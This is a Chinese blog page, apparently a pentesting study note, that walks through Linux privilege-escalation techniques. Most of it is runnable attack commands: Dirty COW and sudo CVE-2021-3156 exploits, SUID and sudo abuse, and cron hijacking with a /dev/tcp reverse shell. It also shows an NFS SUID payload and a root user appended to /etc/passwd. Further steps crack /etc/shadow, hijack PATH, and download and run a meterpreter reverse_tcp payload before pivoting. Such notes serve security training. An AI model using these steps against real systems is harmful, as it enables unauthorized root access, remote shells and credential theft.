首页 > 系统相关 >1.5_Linux权限提升

1.5_Linux权限提升

时间:2024-11-04 10:17:08浏览次数:3  
标签:1.5 shell etc 提权 文件 Linux 权限 root

  • 提权


  1. 提权信息收集工具(推荐:linpeas)
    1). Linux 提权工具:linpeas (需下载到对方主机后提取执行 chmod +x 软件名./linpeas_linux_amd64 > 1.txtcat 1.txt)[推荐]
    2). 内核漏洞提权工具:linux-exploit-suggester-2-master

系统漏洞提权

系统内核漏洞

脏牛提权

(CVE-2016-5195)

原理利用读取和复制的条件竞争,对只读内存进行映射,进行读写
影响版本2.6.22 < x < 3.9
利用方式
脚本
# 使用脚本寻找 EXP
# 拥有 linux-exploit-suggester-2-master 文件的 启动http服务,提供下载服务
Python -m http.server

# 需提权主机进行下载
wget http://192.168.7.23:8000/linux-exploit-suggester-2.pl

# 对下载的文件添加执行权限
chmod +x linux-exploit-suggester-2.pl

# 执行
./linux-exploit-suggester-2.pl

# 根据提示信息下载EXP利用

手工

(少)

# # 查看内核版本信息
详细信息:uname -a
版本信息:uname -r

# 查看系统发行版本
cat /etc/issue

# kali 寻找对应版本EXP,例版本为2.6.32
searchsploit Linux Kernel 2.6.32 - 'Dirty COW'
# 或是
searchsploit 2.6.32
通用
# kali复制指定文件到当前路径(推荐.c文件),例40839.c 
searchsploit -m 40839.c

# kali 开启http服务(注意服务启动位置)
python -m http.server 8000
 
# 需提权的机器进行下载
wget http://192.168.7.229:8000/40839.c

# 编译
gcc -pthread 40839.c -o 40839 -lcrypt

# 运行
./40839

# 登录创建的用户
su firefart

# 查看用户权限
id

# 最后执行它提示的命令
例: mv /tmp/passwd.bak /etc/passwd

系统自带软件漏洞

sudo软件提权
影响版本

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1

检测漏洞

sudoedit -s /

# 若返回内容以sudoedit:  开头,则可能存在漏洞
# 若返回内容以usage: 开头,则不存在漏洞

利用方式
# 下载EXP到对方主机上,解压
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156

# 执行make
make

# 执行exp <target_number> 为对应的模式
./sudo-hax-me-a-sandwich <target_number>

文件权限配置错误提权

SUDO提权

定义系统管理命令,让普通用户能够以管理员身份运行命令
配置文件/etc/sudoers   写入 用户名 ALL=(ALL) NOPASSWD: /usr/bin/find
提权原理sudo命令的配置错误或不当使用
提权函数findawkvivimmorelessJavagit等等
利用方式
# 列出当前用户拥有sudo权限的命令
sudo -l 

# 选择 NOPASSWD 进行测试:
# 通过在线辅助网站选择sudo,查找命令 :https://gtfobins.github.io/
# 执行,若是需要输入密码则不成功
# 执行成功返回 root权限
# 通过 id/whoami 查看用户权限
其他Linux的三种用户:root用户,sudo用户,非sudo用户
 

SUID提权

定义文件的一种特殊权限,会获取文件所有者的权限
利用方式
# 命令列出拥有suid权限的shell (3选1)
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;       [推荐]

# 目标:属主为root用户,且拥有双s权限可提权,例:-rwsr-sr-x 1 root 

# 通过在线辅助网站选择sudo,查找命令 :https://gtfobins.github.io/
# 执行除第一条外的语句
# 通过 id /whoami查看用户权限

计划任务

计划任务文件位置/etc/crontab
原理

计划任务文件权限配置错误,使普通用户也可以进行编辑

寻找root权限执行的计划任务:例:*/1 * * * * root /etc/cron.daily/backup

利用方式
# 查看计划任务
cat /etc/crontab

# vi 或 vim 编辑找到的计划任务文件
例:vi /etc/cron.daily/backup

# 写入反弹shell的语句,经过其设置的更新时间 即可反弹到shell(注意操作系统)
例:/bin/sh -i >& /dev/tcp/192.168.56.1/555 0>&1

# 监听的操作系统使用nc监听
例:nc -lvnp 555

# 最后等待计划任务启动即可(root权限)
# 或是命令启动(拥有命令执行者的权限)
以上述为例,则直接运行 /etc/cron.daily/backup 即可

NFS提权

检测

# 1. 通过nmap扫描对方开启nfs服务

# 2. 执行cat /etc/exports 如果没有内容,则无法提取

利用
# kali 查看对方主机上是否有符合条件的 nfs 服务 
showmount -e 92.168.56.101

发现:
Export list for 192.168.56.101:
/home/peter *  

# kali 创建文件夹(文件名任意)
mkdir /home/peter/nfs 

# kali:将 /home/peter/nfs目录 挂载到需提权主机的 /home/peter 目录 
mount -o rw,vers=3 192.168.56.101:/home/peter /home/peter/nfs

# 移动到 /home/peter/nfs 目录下,创建木马,赋予其执行权限 cd /home/peter/nfs
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /home/peter/nfs/shell.elf 
chmod +xs shell.elf 

# 需提取主机运行,实现提权 
./shell.elf

# 完成操作后取消挂载
umount /home/peter/nfs

MySQL提权

前提条件
  1. 有写入权限
  2. 知道数据库的绝对路径
  3. secure_file_priv=' '     show global variables like '%secure%'
  4. 知道数据库的账户密码(数据库配置文件 或 history)
  5. 数据库安装目录下有lib\plugin目录             select @@basedir
命令执行

sqlmap -d "mysql://账户:密码@IP:端口/数据库名" --os-shell --batch

例:sqlmap -d "mysql://root:[email protected]:3306/mysql" --os-shell --batch

不安全的文件配置

/etc/passwd 可写
# 查看 /etc/passwd 文件权限,普通用户是否具有写的权限(w)
ls -al /etc/passwd

# 生成密码
openssl passwd 123456  

# 将新用户写入 /etc/passwd (必须是单引号)
例:echo 'newroot:$1$8v.LChZq$qCWrrvnKGc7m7z0uwc/3m0:0:0:newroot:/root:/bin/bash' >> /etc/passwd

# 登录用户
su 用户名

# 其他 - /etc/shadow中不同加密方式开头
$1$  MD5加密
$5$  SHA-256加密
$6$  SHA-512加密
/etc/shadow 可读
# 读取 /etc/shadow 文件
cat /etc/shadow

# 创建文件(文件名任意,记住文件位置)
touch hash.txt

# 取出 /etc/shadow 中要解码的用户信息,写入创建的文件
vim hash.txt

# 对 hash.txt 中的文件进行解码返回
sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

变量劫持提权

条件

系统中存在带有suid的文件,且这个文件中必须有系统命令

# 命令列出拥有suid权限的shell (3选1)
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;       [推荐]

# 目标:属主为root用户,且拥有双s权限可提权,例:-rwsr-sr-x 1 root 
-rwsrwsr-x 1 root root 8384 Sep 11 09:58 /home/bob/shell
环境搭建
# 编辑.c文件(替换命令为suid执行的系统命令)

#include<unistd.h>
void main()
{
 setuid(0);
 setgid(0);
 system("ps");
}

# 编辑.c文件
gcc shell.c -o shell

# 修改文件的属主为root其修改文件添加s权限
chown root:root shell
chmod +s shell
利用
# 命令列出拥有suid权限的shell (3选1)
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;       [推荐]

# 目标:属主为root用户,且拥有双s权限可提权,例:-rwsr-sr-x 1 root 
-rwsrwsr-x 1 root root 8384 Sep 11 09:58 /home/bob/shell

# 将 SUID 提权命令写入ps文件中(文件名任意)
echo "命令" > ps
#例,写入/bin/bash
echo "/bin/bash" > ps

# 给创建的文件增加执行权限
chmod 777 ps

# 在创建文件路径下,添加临时环境变量 (终端关闭后失效)
export PATH=.:$PATH

# 执行 shell 相当于执行 上面写入的 /bin/bash 命令,实现提权
./shell



# 其他特殊的(保持当前环境变量不变<--preserve-env=PATH >,以root权限执行脚本<sudo>)
sudo --preserve-env=PATH 脚本路径

MSF提权

# 生成Linux 木马 
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.7.229 LPORT=9999 -f elf -o shell.elf 

# 启动msf 
msfconsole 

# 启动监听 
use exploit/multi/handler 

# 查看需要设置的内容 
show options 

# 设置参数 
set payload linux/x64/meterpreter/reverse_tcp 
set LHOST 192.168.7.229 
set LPORT 9999

# 运行 
run 

# kali 另开窗口,启动http服务(注意服务启动位置) 
python -m http.server 

# 需提权的主机,下载木马 
wget http://192.168.7.229:8000/shell.elf 

# 赋予执行权限,运行 
chmod +x shell.elf 
./shell.elf 

# 寻找可提权的nday后执行 
run post/multi/recon/local_exploit_suggester 

# 将当前命令环境置于后台
bg

# 查看并选择sessions
# 查看:sessions
# 选择:set session ID

# 使用前面的提权exp执行 
run exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

# 提权成功,可以以高权限用户身份执行命令
shell

# 执行后可能没回显,但能以root身份执行系统命令
例:whoami

# 添加路由
run post/multi/manage/autoroute

#查看路由信息
run autoroute -p

# 设置代理 (默认为 socks5代理 127.0.0.1 的 1080 端口)
use auxiliary/server/socks_proxy
run

# 回车 ,exit,进行主机存活扫描
use auxiliary/scanner/portscan/tcp
set PORTS 21,22,23,80,443,8080,3389,445
set RHOSTS 10.0.20.0/24
run

# 编辑proxychains
vim /etc/proxychains.conf
# 写入 (默认1080)
socks5 127.0.0.01 1080     

# 亦或是 将代理服务器的IP设为vps公网ip,在本机进行访问
show options
set SRVHOST 公网IP
set SRVPORT 公网端口

  • 免责声明


  1. 本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。

  2. 本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。

  3. 本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。

  4. 读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。

  5. 本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。

  6. 作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。

敬请广大读者谅解。如有疑问,请联系我们。谢谢!

标签:1.5,shell,etc,提权,文件,Linux,权限,root
From: https://blog.csdn.net/m0_73983897/article/details/143475854

相关文章

  • 罗盘传感器 芯片ak09911 linux 驱动
    /*drivers/input/sensors/access/akm09911.c*Copyright©2012-2015ROCKCHIP.Author:cfjThissoftwareislicensedunderthetermsoftheGNUGeneralPublicLicenseversion2,aspublishedbytheFreeSoftwareFoundation,andmaybecopied,distributed,an......
  • Linux安装深度学习环境Anaconda踩坑记录
    最近导师扔了两台服务器给我管理,导师老板的博士师兄给我登上ssh后就出国参加学术会议了。因为服务器连得是实验室的路由器,所以默认情况下只有在实验室的局域网内才能连,那每次训练都要跑到实验室多麻烦?于是我就在网上翻教程。通过虚拟重定向可以将映射到校园网的IP上。昨天在实......
  • SpringBoot3+Vue3+ElementPlus通用权限后台系统 | 小蚂蚁云
     项目介绍基于SpringBoot3、SpringSecurity、MybatisPlus、Vue3、TypeScript、Vite、ElementPlus、MySQL等技术栈实现的单体前后端分离后台管理系统;后端基于Java语言采用SpringBoot3、SpringSecurity、MybatisPlus、MySQL等主流技术栈,前端基于Vue3、TypeScript、Vite等技术栈......
  • linux 核间通讯rpmsg架构分析
    以imx8为例在最底层硬件上,A核和M核通讯是靠硬件来进行的,称为MU,如图LinuxRPMsg是在virtioframework上实现的一个消息传递机制VirtIO是一个用来实现“虚拟IO”的通用框架,典型虚拟的pci,网卡,磁盘等虚拟设备,kvm等都使用了这个技术与virtio对应的还有一个virtio-ring,其实现了v......
  • Linux基础命令(八) 之 alias ,history,stat,type,特殊符号及命令行快捷键
    目录一,命令别名alias常见用法二,命令历史history参数及其作用常见用法三.显示文件或文件系统的详细信息stat参数及其作用常见用法四,显示命令的类型type参数及其作用常见用法五,特殊符号及命令行快捷键一,命令别名alias别名是命令的快捷方式。对于需要经常......
  • 一.Linux文件基本属性
    前言:Linux系统是一个多用户系统,不同的用户处于不同的地位,也就是说具有不同的权限。为了安全,对于不同用户访问同一个文件,设置不同权限是很有必要的。一.文件的基本属性理解在Linux中,通常是这两个命令修改文件或目录所属用户与权限:chown:修改所属用户与组chmod:修改用户的权......
  • linux相关知识
    •ls:列出目录•cd:切换目录•pwd:显示目前的目录•mkdir:创建一个新的目录•rmdir:删除一个空的目录•cp:复制文件或目录•rm:移除文件或目录•mv:移动文件与目录、文件重命名sudoapt-getnetstatkillchmod查询某个文件:find/|grep文件包含的字母 v......
  • 基于Java语言 Netty通讯框架的云块充协议1.5_云快充协议1.6_云快充协议1.4_云快充协议
    云快充协议+云快充1.5协议+云快充1.6+云快充协议开源代码+云快充底层协议+云快充桩直连+桩直连协议+充电桩协议+云快充源码介绍云快充协议+云快充1.5协议+云快充1.6+云快充协议开源代码+云快充底层协议+云快充桩直连+桩直连协议+充电桩协议+云快充源码软件架构1、提供云快......
  • Linux常用命令(一)
    实验题目:Linux常用命令(一) 实验目的:(1)掌握图形方式下启动Shell程序的方法;(2)理解目录操作命令,包括ls命令、cd命令、pwd命令、mkdir命令和rmdir命令;(3)理解文件操作的基本命令,包括touch命令、cat命令、cp命令、rm命令、mv命令和chmod命令。实验内容:(1)列举出目录/etc下的子目录......
  • Linux系统编程IPC通信之---守护进程讲解(很重要)
    绪论首先在正式介绍守护进程之前,这里先给大家介绍一下进程组和会话。进程组一组相关进程的集合,所有进程的标识符相同.会话一组相关进程组的集合,一个会话中的所有进程共享单个控制终端.在任意时刻,会话中的其实中一个进程组会成为终端的前台进程组.其他进程组会成为......